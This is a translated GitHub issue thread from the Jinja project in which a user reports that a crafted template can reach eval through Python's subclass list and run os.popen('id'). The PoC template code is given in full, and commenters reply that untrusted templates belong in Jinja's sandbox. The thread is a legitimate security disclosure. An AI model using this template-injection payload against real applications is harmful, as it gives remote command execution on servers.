Jinja: μƒŒλ“œλ°•μŠ€ ν™˜κ²½ 없이 ν…œν”Œλ¦Ώμ—μ„œ μž„μ˜μ˜ μ½”λ“œλ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€.

에 λ§Œλ“  2016λ…„ 02μ›” 23일  Β·  6μ½”λ©˜νŠΈ  Β·  좜처: pallets/jinja

λ‚΄ ν”„λ‘œμ νŠΈμ—μ„œ Jinja2 ν…œν”Œλ¦Ώ ν”„λ ˆμž„μ›Œν¬λ₯Ό μ‚¬μš©ν•  λ•Œ μ „μ—­ λ ˆμ§€μŠ€ν„° 없이 "os.popen('id')" λ˜λŠ” λ‹€λ₯Έ ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•˜λŠ” 방법을 μ°Ύμ•˜μŠ΅λ‹ˆλ‹€.
κ³΅κ²©μžκ°€ ν…œν”Œλ¦Ώ μ½˜ν…μΈ λ₯Ό μ œμ–΄ν•  수 μžˆμ„ λ•Œ μ‰˜μ„ μ–»κΈ° μ‰½μŠ΅λ‹ˆλ‹€. 그런 λ””μžμΈμΈκ°€μš”?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

python2(2.7.10) 및 Jinja2(2.8)둜 이 μ½”λ“œλ₯Ό ν…ŒμŠ€νŠΈν•©λ‹ˆλ‹€. μž‘λ™ν•˜λ©΄ μ‚¬μš©μžμ˜ uidκ°€ μΈμ‡„λ©λ‹ˆλ‹€...

κ°€μž₯ μœ μš©ν•œ λŒ“κΈ€

μƒŒλ“œλ°•μŠ€κ°€ μ μš©λ˜μ§€ μ•Šμ€ ν™˜κ²½μ—μ„œλŠ” μ‹ λ’°ν•  수 μ—†λŠ” ν…œν”Œλ¦Ώμ„ μ‹€ν–‰ν•˜λ©΄ μ•ˆ λ©λ‹ˆλ‹€. 이것이 λ°”λ‘œ μƒŒλ“œλ°•μŠ€κ°€ μ‘΄μž¬ν•˜λŠ” μ΄μœ μž…λ‹ˆλ‹€(μ†”μ§νžˆ μƒŒλ“œλ°•μŠ€λ₯Ό μ‚¬μš©ν•˜λ”λΌλ„ μ‚¬μš©μžκ°€ μž„μ˜μ˜ Jinja ν…œν”Œλ¦Ώμ„ μ œκ³΅ν•˜λ„λ‘ ν—ˆμš©ν•˜μ§€ μ•Šμ„ κ²ƒμž…λ‹ˆλ‹€)

λͺ¨λ“  6 λŒ“κΈ€

μƒŒλ“œλ°•μŠ€κ°€ μ μš©λ˜μ§€ μ•Šμ€ ν™˜κ²½μ—μ„œλŠ” μ‹ λ’°ν•  수 μ—†λŠ” ν…œν”Œλ¦Ώμ„ μ‹€ν–‰ν•˜λ©΄ μ•ˆ λ©λ‹ˆλ‹€. 이것이 λ°”λ‘œ μƒŒλ“œλ°•μŠ€κ°€ μ‘΄μž¬ν•˜λŠ” μ΄μœ μž…λ‹ˆλ‹€(μ†”μ§νžˆ μƒŒλ“œλ°•μŠ€λ₯Ό μ‚¬μš©ν•˜λ”λΌλ„ μ‚¬μš©μžκ°€ μž„μ˜μ˜ Jinja ν…œν”Œλ¦Ώμ„ μ œκ³΅ν•˜λ„λ‘ ν—ˆμš©ν•˜μ§€ μ•Šμ„ κ²ƒμž…λ‹ˆλ‹€)

κ·Έλ ‡λ‹€λ©΄ 이런 경우λ₯Ό λ°©μ§€ν•˜κΈ° μœ„ν•œ λŒ€μ±…μ΄ ν•„μš”ν• κΉŒμš”? μ‚¬μš©μžκ°€ ν…œν”Œλ¦Ώ μ½˜ν…μΈ λ₯Ό νŽΈμ§‘ν•  수 μžˆλŠ” νŠΉμ • μ‘μš© ν”„λ‘œκ·Έλž¨μ΄ μžˆλ‹€κ³  μƒκ°ν•˜μ§€λ§Œ μ‹€μš©μ μΈ μ˜ˆλŠ” μ—†μŠ΅λ‹ˆλ‹€.

ν”ŒλΌμŠ€ν¬λ‚˜ Jinja2λ₯Ό μ‚¬μš©ν•˜λŠ” λ‹€λ₯Έ μ›Ή ν”„λ ˆμž„μ›Œν¬μ—μ„œλŠ” ν•˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— 기본적으둜 μƒŒλ“œλ°•μŠ€λ₯Ό μ‚¬μš©ν•  ν•„μš”κ°€ μžˆλ‹€κ³  μƒκ°ν•©λ‹ˆλ‹€.

기본적으둜 μƒŒλ“œλ°•μŠ€λ₯Ό μ‚¬μš©ν•˜λ €λŠ” μ΄μœ λŠ” λ¬΄μ—‡μž…λ‹ˆκΉŒ? λŒ€λΆ€λΆ„μ˜ 경우 ν…œν”Œλ¦Ώμ€ μ–΄μ¨Œλ“  μ½”λ“œμ— μ•‘μ„ΈμŠ€ν•  수 μ—†λŠ” μ‹ λ’°ν•  수 μ—†λŠ” μ‚¬λžŒμ΄ λ³€κ²½ν•  수 μ—†μŠ΅λ‹ˆλ‹€.

Uberμ—μ„œ Flask/Jinja2 ν…œν”Œλ¦Ώ μ£Όμž…μ„ ν†΅ν•œ 원격 μ½”λ“œ μ‹€ν–‰ 사둀가 μžˆμŠ΅λ‹ˆλ‹€.
링크: http://www.tuicool.com/articles/uE3YNjY

기본적으둜 μƒŒλ“œλ°•μ‹±μ„ ν™œμ„±ν™”ν•˜λŠ” 것은 이전 λ²„μ „κ³Όμ˜ ν˜Έν™˜μ„±μœΌλ‘œ 인해 λΆˆκ°€λŠ₯ν•˜κ³  λŒ€λΆ€λΆ„μ˜ ν…œν”Œλ¦Ώ(Flaskμ—μ„œ)을 μ‹ λ’°ν•  수 있기 λ•Œλ¬Έμ— 합리적이지 μ•ŠμŠ΅λ‹ˆλ‹€.

이 νŽ˜μ΄μ§€κ°€ 도움이 λ˜μ—ˆλ‚˜μš”?
0 / 5 - 0 λ“±κΈ‰